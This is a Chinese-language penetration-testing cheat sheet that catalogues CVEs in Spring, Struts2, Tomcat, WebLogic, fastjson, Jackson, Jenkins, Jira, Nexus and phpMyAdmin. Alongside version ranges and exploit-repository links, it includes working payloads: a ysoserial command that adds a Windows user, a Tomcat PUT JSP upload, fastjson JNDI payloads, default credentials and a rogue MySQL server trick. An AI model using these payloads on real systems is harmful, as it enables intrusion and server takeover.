CVE-2017-4971 Spring WebFlow 远程代码执行漏洞
简介
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架 (如购物逻辑) ,可以将流程的定义和实现流程行为的类和视图分离开来.在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个 SpEL 表达式注入漏洞,最终造成任意命令执行.
影响版本
spring_web_flow 2.4.0 ~ 2.4.4
文章
Spring WebFlow 远程代码执行漏洞 (CVE-2017-4971)
CVE-2017-8046 Spring Data Rest 远程命令执行漏洞
简介
Spring Data REST 是一个构建在 Spring Data 之上,为了帮助开发者更加容易地开发 REST 风格的 Web 服务.在 REST API 的 Patch 方法中 (实现 RFC6902) ,path 的值被传入 setValue,导致执行了 SpEL 表达式,触发远程命令执行漏洞.
影响版本
spring_boot < 1.5.9
spring_boot 2.0.0:m1 ~ 2.0.0:m5
spring_data_rest < 2.6.9
spring_data_rest 3.0.0 ~ 3.0.0:rc3
文章
Spring Data Rest 远程命令执行漏洞 (CVE-2017-8046)
CVE-2018-1270 Spring Messaging 远程命令执行漏洞
简介
spring messaging 为 spring 框架提供消息支持,其上层协议是 STOMP,底层通信基于 SockJS,
在 spring messaging 中,其允许客户端订阅消息,并使用 selector 过滤消息.selector 用 SpEL 表达式编写,并使用 StandardEvaluationContext 解析,造成命令执行漏洞.
影响版本
spring_framework < 4.2.9
spring_framework 4.3.0 ~ 4.3.15
spring_framework 5.0 ~ 5.0.5
文章
Spring Messaging 远程命令执行漏洞 (CVE-2018-1270)
CVE-2018-1273 Spring Data Commons RCE 远程命令执行漏洞
简介
Pivotal Spring Data Commons 和 Spring Data REST 都是美国 Pivotal Software 公司的产品。Pivotal Spring Data Commons 是一个为数据访问提供基于 Spring 模型的项目。Spring Data REST 是一个建立在 Spring Data
存储库之上的用于分析应用程序的域模型并公开超媒体驱动的 HTTP 资源。
Pivotal Spring Data Commons 和 Spring Data REST 中存在安全漏洞。远程攻击者可利用该漏洞执行代码。以下产品和版本受到影响：Spring Data Commons 1.13 版本至 1.13.10 版本，2.0 版本至 2.0.5 版本及一些已不再支持的老版本；Spring Data REST 2.6 版本至
2.6.10 版本，3.0 版本至 3.0.5 版本及一些已不再支持的老版本。
文章
Spring Data Commons 远程命令执行漏洞 (CVE-2018-1273)
影响版本
spring_data_commons < 1.12.10
spring_data_commons 1.13 ~ 1.13.10
spring_data_commons 2.0 ~ 2.0.5
spring_data_rest < 2.5.10
spring_data_rest 2.6 ~ 2.6.10
spring_data_rest 3.0 ~ 3.0.5
POC
Payload
exp
wearearima/poc-cve-2018-1273
jas502n/cve-2018-1273
Struts2
官网 : https://struts.apache.org/
Struts2 的漏洞参考 https://cwiki.apache.org/confluence/display/WW/Security+Bulletins
指纹
Struts
.action
.do
.action!xxxx
工具
Lucifer1993/struts-scan - Python2 编写的 struts2 漏洞全版本检测和利用工具
HatBoy/Struts2-Scan - Python3 Struts2 全漏洞扫描利用工具
shack2/Struts2VulsTools - Struts2 系列漏洞检查工具
x51/STS2G - Golang 版 Struts2 漏洞扫描利用工具
环境搭建
wh1t3p1g/Struts2Environment - Struts2 历史版本的漏洞环境
sie504/Struts-S2-xxx - 整理收集Struts2漏洞环境
shengqi158/S2-055-PoC - S2-055的环境，基于rest-show-case改造
文章
Struts2 历史 RCE 漏洞回顾不完全系列
S2-016 & CVE-2013-2251
https://cwiki.apache.org/confluence/display/WW/S2-016
简介
DefaultActionMapper 类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟 OGNL 表达式，由于 struts2 没有对这些前缀做过滤，导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令
影响版本
Struts 2.0.0 ~ 2.3.15
POC
Payload
exp
OneSourceCat/s2-016-exp
S2-020 & CVE-2014-0094 & CNNVD-201403-191
https://cwiki.apache.org/confluence/display/WW/S2-020
简介
Apache Struts 2.0.0-2.3.16 版本的默认上传机制是基于 Commons FileUpload 1.3 版本，其附加的 ParametersInterceptor 允许访问'class' 参数（该参数直接映射到 getClass() 方法），并允许控制 ClassLoader。在具体的 Web
容器部署环境下（如：Tomcat），攻击者利用 Web 容器下的 Java Class 对象及其属性参数（如：日志存储参数），可向服务器发起远程代码执行攻击，进而植入网站后门控制网站服务器主机。
影响版本
Struts 2.0.0 ~ 2.3.16.1
文章
Struts2 S2-020在Tomcat 8下的命令执行分析
POC
Payload
exp
https://github.com/coffeehb/Some-PoC-oR-ExP/blob/master/Struts2/S2-020_POC.py
S2-045 & CVE-2017-5638
S2-046 & CVE-2017-5638
https://cwiki.apache.org/confluence/display/WW/S2-046
简介
该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过修改 HTTP 请求头中的 Content-Type 值,构造发送恶意的数据包,利用该漏洞进而在受影响服务器上执行任意系统命令.
影响版本
Struts 2.3.5 ~ 2.3.31
Struts 2.5 ~ 2.5.10
修复方案
官方已经发布版本更新,尽快升级到不受影响的版本(Struts 2.3.32 或 Struts 2.5.10.1),建议在升级前做好数据备份.
临时修复方案
在用户不便进行升级的情况下,作为临时的解决方案,用户可以进行以下操作来规避风险:在 WEB-INF/classes 目录下的 struts.xml 中的 struts 标签下添加
<constant name="struts.custom.i18n.resources" value="global" />
在 WEB-INF/classes/ 目录下添加 global.properties,文件内容如下:
struts.messages.upload.error.InvalidContentTypeException=1
POC
Payload
exp
mazen160/struts-pwn
S2-048 & CVE-2017-9791
S2-052 & CVE-2017-9805
S2-053 & CVE-2017-12611
https://cwiki.apache.org/confluence/display/WW/S2-053
简介
当开发者在 Freemarker 标签中使用如下代码时 <@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” /> Freemarker
会将值当做表达式进行执行，最后导致代码执行。
影响版本
Struts 2.0.0 ~ 2.3.33
Struts 2.5 ~ 2.5.10.1
POC
Payload
exp
brianwrf/S2-053-CVE-2017-12611
S2-055 & CVE-2017-7525
https://cwiki.apache.org/confluence/display/WW/S2-055
简介
2017年12月1日，Apache Struts 发布最新的安全公告，Apache Struts 2.5.x REST 插件存在远程代码执行的中危漏洞，漏洞编号与 CVE-2017-7525 相关。漏洞的成因是由于使用的 Jackson 版本过低在进行 JSON 反序列化的时候没有任何类型过滤导致远程代码执行。。
影响版本
Struts 2.5 ~ 2.5.14
POC
Payload
exp
iBearcat/S2-055
S2-056 & CVE-2018-1327
https://cwiki.apache.org/confluence/display/WW/S2-056
简介
S2-056 漏洞发生于 Apache Struts 2的 REST 插件，当使用 XStream 组件对 XML 格式的数据包进行反序列化操作，且未对数据内容进行有效验证时，攻击者可通过提交恶意 XML 数据对应用进行远程 DoS 攻击。
影响版本
Struts 2.1.1 ~ 2.5.14.1
POC
Payload
exp
iBearcat/S2-056-XStream
S2-057 & CVE-2018-11776
https://cwiki.apache.org/confluence/display/WW/S2-057
简介
该漏洞由 Semmle Security Research team 的安全研究员 Man YueMo 发现.该漏洞是由于在 Struts2 开发框架中使用 namespace 功能定义 XML 配置时,namespace 值未被设置且在上层动作配置(Action Configuration)中未设置或用通配符 namespace,可能导致远程代码执行.
影响版本
Struts 2.0.4 ~ 2.3.34
Struts 2.5.0 ~ 2.5.16
POC
Payload
exp
Ivan1ee/struts2-057-exp
mazen160/struts-pwn_CVE-2018-11776
Tomcat
官网 : https://tomcat.apache.org/
Tomcat 默认端口为 8080,也可能被改为其他端口,后台管理路径为 /manager/html,后台默认弱口令 admin/admin、tomcat/tomcat 等,若果配置不当,可通过"Tomcat Manager"连接部署 war 包的方式获取 webshell.
搭建教程
Tomcat 搭建
文章
Tomcat漏洞详解
渗透测试-Tomcat常见漏洞总结
Tomcat URL解析差异性导致的安全问题
Tips
tomcat5 默认有两个角色：tomcat 和 role1。其中账号 both、tomcat、role1 的默认密码都是 tomcat。不过不具备部署应用的权限，默认需要 manager 权限才能够直接部署 war 包.
tomcat6 默认没有配置任何用户以及角色，没办法用默认账号登录.
tomcat7 与6类似
tomcat8 其实从6开始，tomcat 就将默认的用户去掉了
控制台路径
/manager/status
/manager/html
/host-manager/
爆破 Manager APP
base64 编码，口令形式为 username:password
CVE-2016-1240
CVE-2016-8735
简介
Oracle 修复了 JmxRemoteLifecycleListener 反序列化漏洞(CVE-2016-3427)。 Tomcat 也使用了 JmxRemoteLifecycleListener 这个监听器,但是 Tomcat 并没有及时升级，存在这个远程代码执行漏洞。
漏洞利用条件
外部需要开启 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口来实现远程代码执行。
影响版本
Tomcat 9.0.0.M1 ~ 9.0.0.M11
Tomcat 8.5.0 ~ 8.5.6
Tomcat 8.0.0.RC1 ~ 8.0.38
Tomcat 7.0.0 ~ 7.0.72
Tomcat 6.0.0 ~ 6.0.47
文章
复现tomcat远程代码执行漏洞（CVE-2016-8735）
回忆飘如雪
CVE-2016-8735环境搭建到POC编写
POC
Payload
exp
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.48.211 10001 Groovy1 "C:\Windows\System32\net.exe user
test 12345 /add "
CVE-2017-12615/12616
简介
2017年9月19日,Apache Tomcat 官方确认并修复了两个高危漏洞,漏洞 CVE 编号:CVE-2017-12615 和 CVE-2017-12616,该漏洞受影响版本为7.0.0-7.0.80之间,官方评级为高危,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意
JSP 文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险.
CVE-2017-12615:远程代码执行漏洞
当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法 (例如,将 readonly 初始化参数由默认值设置为 false) ,攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行.导致服务器上的数据泄露或获取服务器权限.
CVE-2017-12616:信息泄露漏洞
当 Tomcat 中启用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由 VirtualDirContext 提供支持资源服务的 JSP 源代码,从而造成代码信息泄露.
漏洞利用条件
CVE-2017-12615 漏洞利用需要在 Windows 环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x 版本内 web.xml 配置文件内默认配置无 readonly 参数,需要手工添加,默认配置条件下不受此漏洞影响.
CVE-2017-12616 漏洞需要在 server.xml 文件配置 VirtualDirContext 参数,经过实际测试,Tomcat 7.x 版本内默认配置无 VirtualDirContext 参数,需要手工添加,默认配置条件下不受此漏洞影响.
影响版本
CVE-2017-12615 影响版本 : Apache Tomcat 7.0.0 ~ 7.0.79 (windows 环境)
CVE-2017-12616 影响版本 : Apache Tomcat 7.0.0 ~ 7.0.80
文章
CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞分析报告
POC
Payload
exp
iBearcat/CVE-2017-12615
breaktoprotect/CVE-2017-12615
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
CVE-2017-12617
CVE-2019-0232
简介
该漏洞是由于 Tomcat CGI 将命令行参数传递给 Windows 程序的方式存在错误，使得 CGIServlet 被命令注入影响。
该漏洞只影响 Windows 平台，要求启用了 CGIServlet 和 enableCmdLineArguments 参数。但是 CGIServlet 和 enableCmdLineArguments 参数默认情况下都不启用。
影响版本
Apache Tomcat 7.0.0 ~ 7.0.93
Apache Tomcat 8.0.0 ~ 8.5.39
Apache Tomcat 9.0.1 ~ 9.0.17
文章
CVE-2019-0232:Apache Tomcat RCE漏洞分析
复现CVE-2019-0232过程中遇到的坑 Apache Tomcat高危远程代码执行漏洞
POC
Payload
exp
pyn3rd/CVE-2019-0232
jas502n/CVE-2019-0232
CVE-2020-1938 && CNVD-2020-10487 Apache Tomcat Ghostcat 漏洞
概述
Apache Tomcat 会开启 AJP 连接器,方便与其他 Web 服务器通过 AJP 协议进行交互。由于 Tomcat 本身也内含了 HTTP 服务器，因此也可以视作单独的 Web 服务器。
但 Apache Tomcat在 AJP 协议的实现上存在漏洞,导致攻击者可以通过发送恶意的 AJP 请求,可以读取或者包含 Web 应用根目录下的任意文件,如果配合文件上传任意格式文件，将可能导致任意代码执行(RCE).该漏洞利用 AJP 服务端口实现攻击,未开启 AJP 服务对外不受漏洞影响（tomcat 默认将 AJP 服务开启并绑定至
0.0.0.0/0）。
此漏洞为文件包含漏洞，攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件，如：webapp 配置文件、源代码等。
影响版本
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31
文章
【WEB安全】Tomcat-Ajp协议漏洞分析
如何更加精准地检测AJP协议文件包含漏洞(CVE-2020-1938)
POC
Payload
exp
0nise/CVE-2020-1938
YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
修复建议
Weblogic
官网 : https://www.oracle.com/middleware/weblogic/
Oracle Fusion Middleware（Oracle 融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。WebLogic Server 是其中的一个适用于云环境和传统环境的应用服务器组件。
oracle 版本号是真的乱,Weblogic 数据库版本号请看维基百科 Oracle WebLogic Server
Tips
老版本 weblogic 有一些常见的弱口令,比如 weblogic、system、portaladmin 和 guest,Oracle@123 等,用户名密码交叉使用.
工具
0xn0ne/weblogicScanner - weblogic 漏洞扫描工具
dr0op/WeblogicScan -
增强版WeblogicScan、检测结果更精确、插件化、添加CVE-2019-2618，CVE-2019-2729检测，Python3支持
rabbitmask/WeblogicScan - Weblogic 一键漏洞检测工具
rabbitmask/WeblogicScanLot - Weblogic 漏洞批量检测工具
TideSec/Decrypt_Weblogic_Password - 整理了7种解密 weblogic 的方法及响应工具
环境搭建
QAX-A-Team/WeblogicEnvironment - Weblogic 环境搭建工具
文章
利用Weblogic进行入侵的一些总结
Weblogic JRMP反序列化漏洞回顾
Oracle WebLogic RCE反序列化漏洞分析
[漏洞预警]WebLogic T3 反序列化绕过漏洞 & 附检测POC
Weblogic 常见漏洞分析
CVE-2009-1975 xss 漏洞
CVE-2017-3248
文章
WebLogic反序列化漏洞重现江湖，CVE-2017-3248成功绕过之前的官方修复
CVE-2017-10271 XMLDecoder 反序列化漏洞
CVE-2018-2628 反序列化漏洞
CVE-2018-2893 WebLogic 反序列化漏洞
CVE-2018-2894 未授权访问致任意文件上传/RCE 漏洞
CVE-2018-3191
CVE-2018-3245
CVE-2018-3246
CVE-2019-2615 任意文件读取漏洞
CVE-2019-2618 Weblogic Upload Vuln(Need username password)
CVE-2019-2725 && CNVD-C-2019-48814
CVE-2019-2890 WebLogic 反序列化RCE
CVE-2020-2551 Weblogic RCE with IIOP
简介
最近 Oracle 发布了新一轮补丁,其中重点了修复多个高危安全漏洞.其中较为严重之一的则是 CVE-2020-2551.攻击者可以在未授权的情况下通过 IIOP 协议对存在漏洞的 WebLogic 进行远程代码执行的攻击.成功利用该漏洞的攻击者可以直接控制服务器,危害性极高。
影响版本
weblogic_server 10.3.6.0.0
weblogic_server 12.1.3.0.0
weblogic_server 12.2.1.3.0
weblogic_server 12.2.1.4.0
文章
WebLogic CVE-2020-2551漏洞分析
漫谈WebLogic CVE-2020-2551
POC
Payload
exp
jas502n/CVE-2020-2551
CVE-2020-2555 Oracle Coherence 反序列化漏洞分析
简介
Oracle 官方在1月补丁中修复了 CVE-2020-2555 漏洞，该漏洞位于 Oracle Coherence 组件中。该组件是业内领先的用于解决集群应用程序数据的缓存的解决方案，其默认集成在 Weblogic12c 及以上版本中。
该漏洞提出了一条新的反序列化 gadget，未经身份验证的攻击者通过精心构造的 T3 请求触发可以反序列化 gadget，最终造成远程命令执行的效果。
文章
Oracle Coherence 反序列化漏洞分析（CVE-2020-2555）
POC
Payload
exp
Y4er/CVE-2020-2555
Websphere
CVE-2014-0910
POC
Payload
exp
IBM Websphere Portal - Persistent Cross-Site Scripting
CVE-2015-7450
POC
Payload
exp
websphere_rce.py
CVE-2019-4279
文章
Websphere ND远程命令执行分析以及构造RpcServerDispatcher Payload(CVE-2019-4279)
编辑器
手册
编辑器漏洞手册
ewebeditor
官网 : http://www.ewebeditor.net/
文章
ewebeditor 编辑器漏洞总结
常用路径
Admin_Login.asp
Admin_Default.asp
Admin_Style.asp
Admin_UploadFile.asp
Upload.asp
Admin_ModiPwd.asp
eWebEditor.asp
db/ewebeditor.mdb
ewebeditor/login_admin.asp
eweb/login_admin.asp
editor/login_admin.asp
FCKeditor
官网 : https://ckeditor.com/
文章
Fckeditor上传漏洞利用拿shell总结
常用路径
FCKeditor/_samples/default.html
FCKeditor/_whatsnew.html
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.test.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
kindeditor
官网 : http://kindeditor.net/
kindeditor<=4.1.5 上传漏洞
文章
kindeditor<=4.1.5上传漏洞复现
漏洞修复
直接删除 upload_json.* 和 file_manager_json.*
升级 kindeditor 到最新版本
ueditor
CNVD-2017-20077 ueditor 上传漏洞
文章
UEditor编辑器两个版本任意文件上传漏洞分析
POC
Payload
exp
theLSA/ueditor-getshell
序列化
文章
无损检测Fastjson DoS漏洞以及盲区分Fastjson与Jackson组件
fastjson
项目地址 : https://github.com/alibaba/fastjson
文章
Fastjson反序列化进攻利用
工具
wyzxxz/fastjson_rce_tool - fastjson rce 命令执行综合利用工具，一键操作,fastjson remote code
execute poc
c0ny1/FastjsonExploit - fastjson漏洞快速利用框架
Lonely-night/fastjson_gadgets_scanner - scanner 扫描反编译生成的源文件
以下内容来自 [Tide安全团队 Fastjson反序列化进攻利用 文章]
fastjson<=1.2.24 反序列化漏洞
fastjson<=1.2.41
简介
第一个 Fastjson 反序列化漏洞爆出后，阿里在1.2.25版本设置了 autoTypeSupport 属性默认为 false，并且增加了checkAutoType() 函数，通过黑白名单的方式来防御 Fastjson 反序列化漏洞，因此后面发现的 Fastjson 反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
com.sun.rowset.JdbcRowSetImpl 在1.2.25版本被加入了黑名单，fastjson 有个判断条件判断类名是否以”L”开头、以”;”结尾，是的话就提取出其中的类名再加载进来，因此在原类名头部加L，尾部加;即可绕过黑名单的同时加载类。
autoTypeSupport 属性为 true 才能使用。（fastjson>=1.2.25 默认为 false）
POC
Payload
exp
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
fastjson<=1.2.42
简介
fastjson 在1.2.42版本新增了校验机制。
如果输入类名的开头和结尾是L和;就将头和尾去掉，再进行黑名单验证。 还把黑名单的内容进行了加密，防止安全人员进行研究，增加了研究的门槛。 但是有人已在Github上跑出了大部分黑名单包类：https://github.com/LeadroyaL/fastjson-blacklist绕过方法，在类名外部嵌套2层L;。
原类名：com.sun.rowset.JdbcRowSetImpl 绕过： LLcom.sun.rowset.JdbcRowSetImpl;;
POC
Payload
exp
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
fastjson<=1.2.43
简介
fastjson 在1.2.43中checkAutoType()函数增加判断开头为LL直接报错。 绕过方法:根据fastjson判断函数，[开头则提取类名，且后面字符字符为"["、"{"等，即可正常调用。
autoTypeSupport属性为true才能使用。（fastjson>=1.2.25默认为false）
POC
Payload
exp
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
fastjson<=1.2.45
fastjson <=1.2.47 远程代码执行漏洞
fastjson<=1.2.62
fastjson < 1.2.66 远程代码执行漏洞
fastjson < 1.2.66 版本拒绝服务漏洞
影响范围
1.2.36 - 1.2.62
文章
fastjson < 1.2.66 版本最新漏洞分析
Jackson
FasterXML Jackson 是美国 FasterXML 公司的一款适用于 Java 的数据处理工具。
主要的几个 jar 包：
jackson-core : 核心包
jackson-annotations : 注解包
jackson-databind : 数据绑定包
CVE-2017-7525 Jackson-databind 反序列化漏洞
CVE-2017-17485 Jackson-databind 反序列化
简介
FasterXML Jackson 是美国 FasterXML 公司的一款适用于 Java 的数据处理工具。jackson-databind 是其中的一个具有数据绑定功能的组件。
FasterXML Jackson-databind 2.8.10 及之前版本和 2.9.x 版本至 2.9.3 版本中存在代码问题漏洞。远程攻击者可通过向 ObjectMapper 的 readValue 方法发送恶意制作的 JSON 输入并绕过黑名单利用该漏洞执行代码。
文章
CVE-2017-17485 Jackson-databind 反序列化
CVE-2019-12086
CVE-2019-12384 Jackson-databind RCE And SSRF
简介
6月21日，Redhat 官方发布 jackson-databind 漏洞（CVE-2019-12384）安全通告，多个 Redhat 产品受此漏洞影响，CVSS 评分为 8.1，漏洞利用复杂度高。7月22日，安全研究员 Andrea Brancaleoni 对此漏洞进行分析，并公布了该漏洞的分析文章。
该漏洞是由于 Jackson 黑名单过滤不完整而导致，当开发人员在应用程序中通过 ObjectMapper 对象调用 enableDefaultTyping 方法时，程序就会受到此漏洞的影响，攻击者就可利用构造的包含有恶意代码的 json 数据包对应用进行攻击，直接获取服务器控制权限。
影响版本
Jackson-databind 2.X < 2.9.9.1
文章
CVE-2019-12384：Jackson反序列化漏洞分析
Jackson CVE-2019-12384 RCE 复现记录
POC
Payload
exp
jas502n/CVE-2019-12384
CVE-2020-8840 FasterXML/jackson-databind 远程代码执行漏洞
影响版本
Jackson-databind 2.X < 2.9.10.2
POC
Payload
exp
jas502n/CVE-2020-8840
CVE-2020-9547 FasterXML/jackson-databind 远程代码执行漏洞
影响版本
Jackson-databind 2.X < 2.9.10.4
POC
Payload
exp
fairyming/CVE-2020-9547
CVE-2020-9548 FasterXML/jackson-databind 远程代码执行漏洞
影响版本
Jackson-databind 2.X < 2.9.10.4
POC
Payload
exp
fairyming/CVE-2020-9548
CVE-2020-11113 远程代码执行漏洞
影响版本
Jackson-databind < 2.9.10.4
文章
Jackson-databind-2670远程代码执行漏洞简单分析
Xstream
文章
XStream反序列化组件攻击分析
其他
Ghostscript
CVE-2019-6116 沙箱绕过（命令执行）漏洞
POC
Payload
exp
GhostScript 沙箱绕过（命令执行）漏洞（CVE-2019-6116）
webuploader
项目地址 : https://github.com/fex-team/webuploader
webuploader-v-0.1.15 组件存在文件上传漏洞(未授权)
POC
Payload
exp
jas502n/webuploader-0.1.15-Demo
Aria2
项目地址 : https://github.com/aria2/aria2
Aria2 任意文件写入漏洞
简介
Aria2 是一个命令行下轻量级、多协议、多来源的下载工具 (支持 HTTP/HTTPS、FTP、BitTorrent、Metalink) ,内建 XML-RPC 和 JSON-RPC 接口.在有权限的情况下,我们可以使用 RPC 接口来操作 aria2 来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞.
文章
Aria2 任意文件写入漏洞
Cacti
CVE-2020-8813 Cacti v1.2.8 远程命令执行漏洞
文章
Cacti v1.2.8 authenticated Remote Code
Execution (CVE-2020-8813)
Confluence
官网 : https://www.atlassian.com/software/confluence
Confluence 是一个专业的企业知识管理与协同软件，也可以用于构建企业 wiki。使用简单，强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论，信息推送。
CVE-2019-3394 Confluence 文件读取漏洞
文章
Confluence 文件读取漏洞(CVE-2019-3394)分析
CVE-2019-3396 Confluence Wiki 远程代码执行
文章
Confluence 未授权 RCE (CVE-2019-3396) 漏洞分析
POC
Payload
exp
jas502n/CVE-2019-3396
CVE-2019-3398 Atlassian Confluence Download Attachments Remote Code Execution
Coremail
官网 : https://www.coremail.cn/
Coremail 论客邮件系统于2000年首发，是中国第一套中文邮件系统。是网易等运营商至今一直使用的邮件系统，也是政府机关、大学、金融机构、上市公司及其他大型企业（包含国有企业）广泛使用的邮件系统。
工具
dpu/coremail-address-book - Coremail邮件系统组织通讯录一键导出
敏感文件泄露漏洞
Crowd
官网 : https://www.atlassian.com/software/crowd
Atlassian Crowd 是一套基于 Web 的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center 是 Crowd 的集群部署版。
CVE-2019-11580 Atlassian Crowd 未授权访问漏洞
Harbor
官网 : https://goharbor.io/
Harbor 的漏洞参考 https://github.com/goharbor/harbor/security/advisories
CVE-2019-3990 User Enumeration Vulnerability
Jenkins
官网 : https://jenkins.io/
Jenkins 的漏洞参考 https://jenkins.io/security/advisories/
搭建教程
Jenkins 搭建
文章
Hacking Jenkins Part 1 - Play with
Dynamic Routing
Hacking Jenkins
Part 2 - Abusing Meta Programming for Unauthenticated RCE!
Jenkins RCE漏洞分析汇总
资源
gquere/pwn_jenkins: Notes about attacking Jenkins servers
petercunha/jenkins-rce
工具
blackye/Jenkins - Jenkins漏洞探测、用户抓取爆破
未授权访问漏洞
CVE-2017-1000353 未授权远程代码执行漏洞
简介
Jenkins 未授权远程代码执行漏洞, 允许攻击者将序列化的 Java SignedObject 对象传输给 Jenkins CLI 处理，反序列化 ObjectInputStream 作为 Command 对象，这将绕过基于黑名单的保护机制, 导致代码执行。
影响版本
jenkins < 2.56
POC
Payload
exp
vulhub/CVE-2017-1000353
CVE-2018-1000861 远程命令执行漏洞
简介
Jenkins 使用 Stapler 框架开发,其允许用户通过 URL PATH 来调用一次 public 方法.由于这个过程没有做限制,攻击者可以构造一些特殊的 PATH 来执行一些敏感的 Java 方法.
通过这个漏洞,我们可以找到很多可供利用的利用链.其中最严重的就是绕过 Groovy 沙盒导致未授权用户可执行任意命令:Jenkins 在沙盒中执行 Groovy 前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过 Meta-Programming 的方式,在检查这个步骤时执行任意命令.
影响版本
jenkins < 2.153
POC
Payload
exp
orangetw/awesome-jenkins-rce-2019
CVE-2018-1999001 配置文件路径改动导致管理员权限开放漏洞
CVE-2018-1999002 任意文件读取漏洞
CVE-2019-1003000 未授权访问 RCE 漏洞
CVE-2019-10320 CloudBees Jenkins Credentials Plugin 信息泄露漏洞
Jira
官网 : https://www.atlassian.com/software/jira
JIRA 是 Atlassian 公司出品的项目与事务跟踪工具，被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。
jira 的漏洞参考 https://jira.atlassian.com/browse/JRASERVER-69858?filter=13085
CVE-2019-3403 信息泄露(用户名枚举)
CVE-2019-8442 Jira 未授权敏感信息泄露
简介
Atlassian Jira 是澳大利亚 Atlassian 公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题、缺陷进行跟踪管理. Atlassian Jira 7.13.4 之前版本、8.0.4 之前版本和 8.1.1 之前版本中的CachingResourceDownloadRewriteRule 类存在安全漏洞.远程攻击者可利用该漏洞访问
Jira webroot 中的文件.
影响版本
Atlassian Jira < 7.13.3
Atlassian Jira 8.0.0 ~ 8.0.4
Atlassian Jira 8.1.0 ~ 8.1.1
POC
Payload
exp
https://note.youdao.com/ynoteshare1/index.html?id=4189e6fb21fb097a4109ac22f33b16cb&type=note
https://hackerone.com/reports/632808
/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
CVE-2019-8444 存储型 XSS
CVE-2019-8446 信息泄露(用户名枚举)
CVE-2019-8451 Jira 未授权 SSRF 漏洞
CVE-2019-11581 Atlassian Jira 模板注入漏洞
Jupyter
官网 : https://jupyter.org/
Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。
未授权访问漏洞
Nexus
官网 : https://www.sonatype.com/product-nexus-repository
CVE-2019-7238 Nexus Repository Manager 3 Remote Code Execution without authentication < 3.15.0
简介
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发 Maven、NuGET 等软件源仓库.其 3.14.0 及之前版本中,存在一处基于 OrientDB 自定义函数的任意 JEXL 表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞.
影响版本
nexus < 3.15.0
文章
一次偶遇Nexus
Nexus Repository Manager 3 远程命令执行漏洞 (CVE-2019-7238)
POC
Payload
exp
mpgn/CVE-2019-7238
jas502n/CVE-2019-7238
CVE-2020-10199/CVE-2020-10204
文章
Nexus Repository Manager(CVE-2020-10199/10204)漏洞分析及回显利用方法的简单讨论
POC
Payload
exp
aleenzz/CVE-2020-10199
noVNC
官网 : https://novnc.com
CVE-2017-18635 xss
phpMyAdmin
官网: https://www.phpmyadmin.net/
搭建教程
phpMyAdmin 搭建
文章
phpMyadmin各版本漏洞 - 2/3 老版本的漏洞
CVE-2016-5734 4.0.x—4.6.2 远程代码执行漏洞
LOAD DATA INFILE 任意文件读取漏洞
POC
Payload
exp
Gifts/Rogue-MySql-Server
vim rogue_mysql_server.py
PORT = 3307
python rogue_mysql_server.py
打开目标 phpMyAdmin 的登录页面,地址输入 db:3307、用户名、密码,提交登录.
